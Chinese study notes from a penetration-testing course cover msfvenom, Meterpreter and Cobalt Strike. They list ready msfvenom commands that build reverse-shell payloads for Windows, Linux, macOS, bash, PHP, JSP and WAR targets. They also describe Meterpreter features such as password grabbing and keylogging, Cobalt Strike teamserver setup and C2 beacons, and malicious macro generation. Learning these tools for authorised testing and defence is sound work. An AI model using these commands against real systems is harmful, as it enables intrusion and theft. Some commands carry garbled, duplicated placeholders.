合天培训课笔记
Msfvenom基础
Msfvenom简介
Metasploit独立的有效负载(payload) 生成器,Msfvenom可 以将攻击载荷封装为可执行文件、python、 php,JavaScript语言等多种形式,并可以进行各种类型的编码。
-I, --list < type > <type> <type>列出指定模块的所有可用资源模块类型包括: payloads, encoders, nops, archs, encrypt,formats, all
-p, --payload < payload>指定使用的payload(攻击载荷)。使用自定义的payload,使用一或者stdin指定
-f, --format < format> 指定输出格式(使用--help-formats来获取msf支持的输出格式列表)
-e, --encoder <encoder> 指定需要使用的encoder (编码器)
-a, --arch < architecture >用于--payload和--encoders的体系结构(使用 --list archs列出)
--platform< platform >指定payload使用的平台(使用--list platform列出)
-o, --out 保存payload
Payload类型
Singles:独立载荷,体积小,可直接植入目标系统并执行相应的程序,如: shell bind. tcp
Stagers: 传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。这类载荷功能都非常相似,大致分为bind型和reverse型。bind型是需要攻击机主动
连接目标端口的;而reverse型是目标机会反连接攻击机,需要提前设定好连接攻击机的ip地址和端口号。
Stages:传输体载荷,如meterpreter。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell, 或者meterpreter控制程序运行。然后攻击机可以在攻击机输入相应命令控制目标机。
meterpreter其实就是一个payload, 它需要stagers和相应的stages配合运行, meterpreter是运行在内存中的, 通过注入dll文件实现。
Msfvenom生成payload
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f exe -o /tmp/shell.exe : 32位的
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f exe -o /tmp/shell.exe :64位的
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > <PORT> -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f macho > shel.macho
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=< IP > <IP> LPORT=<PORT> < PORT > -f raw > shell.sh
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= < IP > LPORT= < PORT > -f raw > shell.php
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST= < IP > LPORT= < PORT > -f raw> shell.jsp
WAR
msfvenom -P java/jsp_shell_reverse_tcp LHOST= < IP > LPORT= < PORT > -f war > shell.war
Meterpreter基础
Meterpreter简介
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
Meterpreter特点
Metasploit提供 了各个主流平台的Meterpreter版本,Windows. Linux, 同时支持x86. x64平台,以及PHP、Java等语言的实现。
Meterpreter的工作模式是纯内存的,好处是启动隐藏。
Meterpreter的功能十分丰富,如添加用户、打开shell、 获取用户密码、文件上传下载、捕捉屏幕、键盘记录等等
Meterpreter常用shell
reverse_ tcp
基于TCP的反弹shell
linux/x86/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
reverse_ http
基于http方式的反向连接,在网速慢的情况下不稳定。
windows/meterpreter/reverse_ http
bind _tcp
基于TCP的正向连接shell,因为在内网跨网段时无法连接到攻击者的机器,所以在内网中经常会使用,不需要设置LHOST
linux/x86/meterpreter/bind_tcp
Cobaltstrike简介
Cobalt Strike
Cobalt Strike (简称CS) 是一款团队作战渗透测试神器 ,分为客户端及服务端,一个服务端可以对应多个客户端,一个客户端可以连接多个服务端。Cobalt Strike集成了端口转发、扫描多模式端口Listener. Windows exe程序生成、Windows dlI动态链接库生成、java程序生成、office宏代码生 成,包括站点克隆获取浏览器的相关信息等。
与metasploit关系
Metasploit是一款开源框架,armitage是metasploit框架的图形化界面方式,Cobalt Strike是armitage的增强版,同时也是收费软件。
Cobalt Strike在2.0版本还是依托metasploit,在3.0之后的版本使用单独的平台。
Cobaltstrike启动
启动CS服务端
- 赋予teamserver权限: chmod +x teamserver
- 修改默认端口: vi teamserver 0 -Dcobaltstrike.server_ port=50050 (默认端口)
- 启动服务器: ./teamserver <host ip> < password>
Cobaltstrike使用
快捷栏
监听器
- 内部beacon (CS内置监听器)
- Beacon DNS
- Beacon HTTP
- Beacon HTTPS
- Beacon SMB
- Beacon TCP
- 外部beacon (提供给外部使用的监听器)
-
- Foreign HTTP
- Foreign HTTPS
HTTP/HTTPS监听器
HTTP Beacon payload连接到C2控制器,它会发起一-个GET请求,获取来自C2控制器的执行操作,如果C2控制器有要执行的任务,那么它会响应一组包含payload执行的所有任务的加密数据,否则HTTP Beaconpayload会返回到睡眠状态,我们可以在payload配置 中设置时间周期。
当payload执行任务后产生输出时,HTTP Beacon payload会通过一个包含加密数据的POST请求发送给C2,这个POST请求中包含任务运行后的输出。如果没有输出,那么就没有这个POST请求。
Attack- > Packages
HTML Application:生成.hta HTML应用程序
MS Office Macro:生成恶意宏放入office文件
Payload Generator:生成各种语言版本的payload
Windows Executable:可执行文件,默认x86,勾选x64表示包含x64
Windows Executable(S):stageless生成全功能被控端